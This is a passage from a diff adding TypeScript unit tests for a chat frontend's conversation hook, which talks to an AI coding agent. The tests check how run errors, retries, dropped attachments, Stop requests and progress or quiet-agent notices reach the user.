+ receive: (event: Record<string, unknown>) => void;
31
+ setConnected: (isConnected: boolean) => void;
32
+ }
33
+
34
+ function harness(): Harness {
35
+ const sent: Record<string, unknown>[] = [];
36
+ let isConnected = true;
37
+ let deliver: (msg: unknown) => void = () => {};
38
+ const conversation = useConversation({
39
+ activeId: ref(CONVERSATION_ID),
40
+ send: (msg) => {
41
+ if (!isConnected) return false;
42
+ sent.push(msg as Record<string, unknown>);
43
+ return true;
44
+ },
45
+ onMessage: (handler) => {
46
+ deliver = handler;
47
+ return () => {};
48
+ },
49
+ });
50
+ return {
51
+ conversation,
52
+ sent,
53
+ receive: (event) => deliver({ conversationId: CONVERSATION_ID, ...event }),
54
+ setConnected: (value) => {
55
+ isConnected = value;
56
+ },
57
+ };
58
+ }
59
+
60
+ function attachment(): PendingAttachment {
61
+ return {
62
+ id: "att-1",
63
+ name: "OP_Manager_v176.html",
64
+ mimeType: "text/html",
65
+ size: 13,
66
+ data: FILE_DATA,
67
+ dataUrl: `data:text/html;base64,${FILE_DATA}`,
68
+ };
69
+ }
70
+
71
+ function startToolCall(h: Harness): void {
72
+ h.receive({
73
+ type: SERVER_EVENT_TYPES.TOOL_CALL_START,
74
+ callId: "call-1",
75
+ toolName: "Bash",
76
+ args: { command: "pnpm dev" },
77
+ });
78
+ }
79
+
80
+ describe("a run that fails reaches the user", () => {
81
+ it("ends the run with the reason, and leaves no tool running", () => {
82
+ const h = harness();
83
+ h.conversation.sendUserMessage("reproduire sans casser le design", [
84
+ attachment(),
85
+ ]);
86
+ startToolCall(h);
87
+ h.receive({
88
+ type: SERVER_EVENT_TYPES.RUN_ERROR,
89
+ error: "The agent stopped before finishing its answer.",
90
+ });
91
+ const messages = h.conversation.messages.value;
92
+ expect(h.conversation.isRunning.value).toBe(false);
93
+ expect(messages.at(-1)).toMatchObject({
94
+ role: MESSAGE_ROLES.ERROR,
95
+ content: "The agent stopped before finishing its answer.",
96
+ });
97
+ expect(messages.find((m) => m.role === MESSAGE_ROLES.TOOL)).toMatchObject({
98
+ status: TOOL_STATUS.ERROR,
99
+ result: TOOL_CUT_SHORT_RESULT,
100
+ });
101
+ });
102
+
103
+ it("says a message was not sent instead of waiting for an answer", () => {
104
+ const h = harness();
105
+ h.setConnected(false);
106
+ h.conversation.sendUserMessage("reproduire sans casser le design");
107
+ expect(h.conversation.isRunning.value).toBe(false);
108
+ expect(h.conversation.messages.value.at(-1)).toMatchObject({
109
+ role: MESSAGE_ROLES.ERROR,
110
+ content: NOT_SENT_MESSAGE,
111
+ });
112
+ });
113
+
114
+ it("retries the last message with its file", () => {
115
+ const h = harness();
116
+ h.conversation.sendUserMessage("reproduire sans casser le design", [
117
+ attachment(),
118
+ ]);
119
+ h.receive({ type: SERVER_EVENT_TYPES.RUN_ERROR, error: "API Error: 529" });
120
+ h.conversation.retry();
121
+ const resent = h.sent.filter(
122
+ (msg) => msg.type === CLIENT_MESSAGE_TYPES.USER_MESSAGE,
123
+ );
124
+ expect(resent).toHaveLength(2);
125
+ expect(resent[1]).toMatchObject({
126
+ content: "reproduire sans casser le design",
127
+ attachments: [{ name: "OP_Manager_v176.html", data: FILE_DATA }],
128
+ });
129
+ expect(h.conversation.isRunning.value).toBe(true);
130
+ });
131
+
132
+ it("shows an unsent message once, even after a retry", () => {
133
+ const h = harness();
134
+ h.setConnected(false);
135
+ h.conversation.sendUserMessage("reproduire sans casser le design");
136
+ h.setConnected(true);
137
+ h.conversation.retry();
138
+ const bubbles = h.conversation.messages.value.filter(
139
+ (msg) => msg.role === MESSAGE_ROLES.USER,
140
+ );
141
+ expect(bubbles).toHaveLength(1);
142
+ expect(bubbles[0]).not.toHaveProperty("isUnsent");
143
+ expect(h.sent).toHaveLength(1);
144
+ });
145
+
146
+ it("offers no retry for a failure the same request cannot get past", () => {
147
+ const h = harness();
148
+ h.conversation.sendUserMessage("go");
149
+ h.receive({
150
+ type: SERVER_EVENT_TYPES.RUN_ERROR,
151
+ error: "The conversation no longer fits in the model's context.",
152
+ isRetryable: false,
153
+ });
154
+ h.receive({
155
+ type: SERVER_EVENT_TYPES.CONVERSATION_SNAPSHOT,
156
+ messages: [
157
+ { role: "user", content: "go", timestampMs: 1 },
158
+ {
159
+ role: "error",
160
+ content: "The conversation no longer fits in the model's context.",
161
+ isRetryable: false,
162
+ timestampMs: 2,
163
+ },
164
+ { role: "error", content: "API Error: 529", timestampMs: 3 },
165
+ ],
166
+ });
167
+ const [, tooLong, overloaded] = h.conversation.messages.value;
168
+ expect(tooLong).toMatchObject({ isRetryable: false });
169
+ expect(overloaded).toMatchObject({ isRetryable: true });
170
+ });
171
+
172
+ it("asks for the files again when a reload dropped them", () => {
173
+ const h = harness();
174
+ h.receive({
175
+ type: SERVER_EVENT_TYPES.CONVERSATION_SNAPSHOT,
176
+ messages: [
177
+ {
178
+ role: "user",
179
+ content: "reproduire sans casser le design",
180
+ attachments: [
181
+ { name: "OP_Manager_v176.html", mimeType: "text/html", size: 13 },
182
+ ],
183
+ timestampMs: 1,
184
+ },
185
+ { role: "error", content: "The run was stopped.", timestampMs: 2 },
186
+ ],
187
+ });
188
+ h.conversation.retry();
189
+ expect(h.sent).toEqual([]);
190
+ expect(h.conversation.messages.value.at(-1)).toMatchObject({
191
+ content: RETRY_NEEDS_FILES_MESSAGE,
192
+ });
193
+ });
194
+
195
+ it("shows a stored error and settles tools left open after a reload", () => {
196
+ const h = harness();
197
+ h.receive({
198
+ type: SERVER_EVENT_TYPES.CONVERSATION_SNAPSHOT,
199
+ messages: [
200
+ { role: "user", content: "go", timestampMs: 1 },
201
+ {
202
+ role: "tool_use",
203
+ content: "{}",
204
+ toolName: "Bash",
205
+ callId: "call-1",
206
+ timestampMs: 2,
207
+ },
208
+ { role: "error", content: "The run was stopped.", timestampMs: 3 },
209
+ ],
210
+ });
211
+ const [, tool, error] = h.conversation.messages.value;
212
+ expect(tool).toMatchObject({ status: TOOL_STATUS.ERROR });
213
+ expect(error).toMatchObject({
214
+ role: MESSAGE_ROLES.ERROR,
215
+ content: "The run was stopped.",
216
+ });
217
+ });
218
+
219
+ it("lets the run go when Stop cannot reach the assistant", () => {
220
+ const h = harness();
221
+ h.conversation.sendUserMessage("go");
222
+ h.setConnected(false);
223
+ h.conversation.interrupt();
224
+ expect(h.conversation.isRunning.value).toBe(false);
225
+ expect(h.conversation.messages.value.at(-1)).toMatchObject({
226
+ content: STOP_NOT_DELIVERED_MESSAGE,
227
+ });
228
+ });
229
+ });
230
+
231
+ describe("a run that keeps working shows it", () => {
232
+ it("keeps what the agent reports, and when it last heard from the sidecar", () => {
233
+ const h = harness();
234
+ h.conversation.sendUserMessage("go");
235
+ const before = h.conversation.lastEventAtMs.value;
236
+ h.receive({
237
+ type: SERVER_EVENT_TYPES.RUN_PROGRESS,
238
+ activity: "writing",
239
+ detail: "Write",
240
+ elapsedMs: 42_000,
241
+ idleMs: 1_000,
242
+ });
243
+ expect(h.conversation.isTurnInFlight.value).toBe(true);
244
+ expect(h.conversation.progress.value).toMatchObject({
245
+ activity: "writing",
246
+ detail: "Write",
247
+ elapsedMs: 42_000,
248
+ });
249
+ expect(h.conversation.lastEventAtMs.value).toBeGreaterThanOrEqual(before);
250
+ });
251
+
252
+ it("forgets the progress once the run is over", () => {
253
+ const h = harness();
254
+ h.conversation.sendUserMessage("go");
255
+ h.receive({
256
+ type: SERVER_EVENT_TYPES.RUN_PROGRESS,
257
+ activity: "thinking",
258
+ elapsedMs: 0,
259
+ idleMs: 0,
260
+ });
261
+ h.receive({ type: SERVER_EVENT_TYPES.RUN_DONE });
262
+ expect(h.conversation.progress.value).toBeNull();
263
+ expect(h.conversation.isTurnInFlight.value).toBe(false);
264
+ expect(h.conversation.isRunning.value).toBe(false);
265
+ });
266
+ });
267
+
268
+ describe("a quiet agent is only called out when silence is unexpected", () => {
269
+ const quietFor = (activity: RunProgress["activity"]): RunProgress => ({
270
+ activity,
271
+ elapsedMs: QUIET_NOTICE_AFTER_MS,
272
+ idleMs: QUIET_NOTICE_AFTER_MS,
273
+ receivedAtMs: 0,
274
+ });
275
+
276
+ it("says so while the model is thinking", () => {
277
+ expect(isAgentQuiet(quietFor(ACTIVITY_KINDS.THINKING), 0)).toBe(true);
278
+ });
279
+
280
+ it("stays silent while a tool runs without output", () => {
281
+ expect(isAgentQuiet(quietFor(ACTIVITY_KINDS.TOOL), 0)).toBe(false);
282
+ });
283
+ });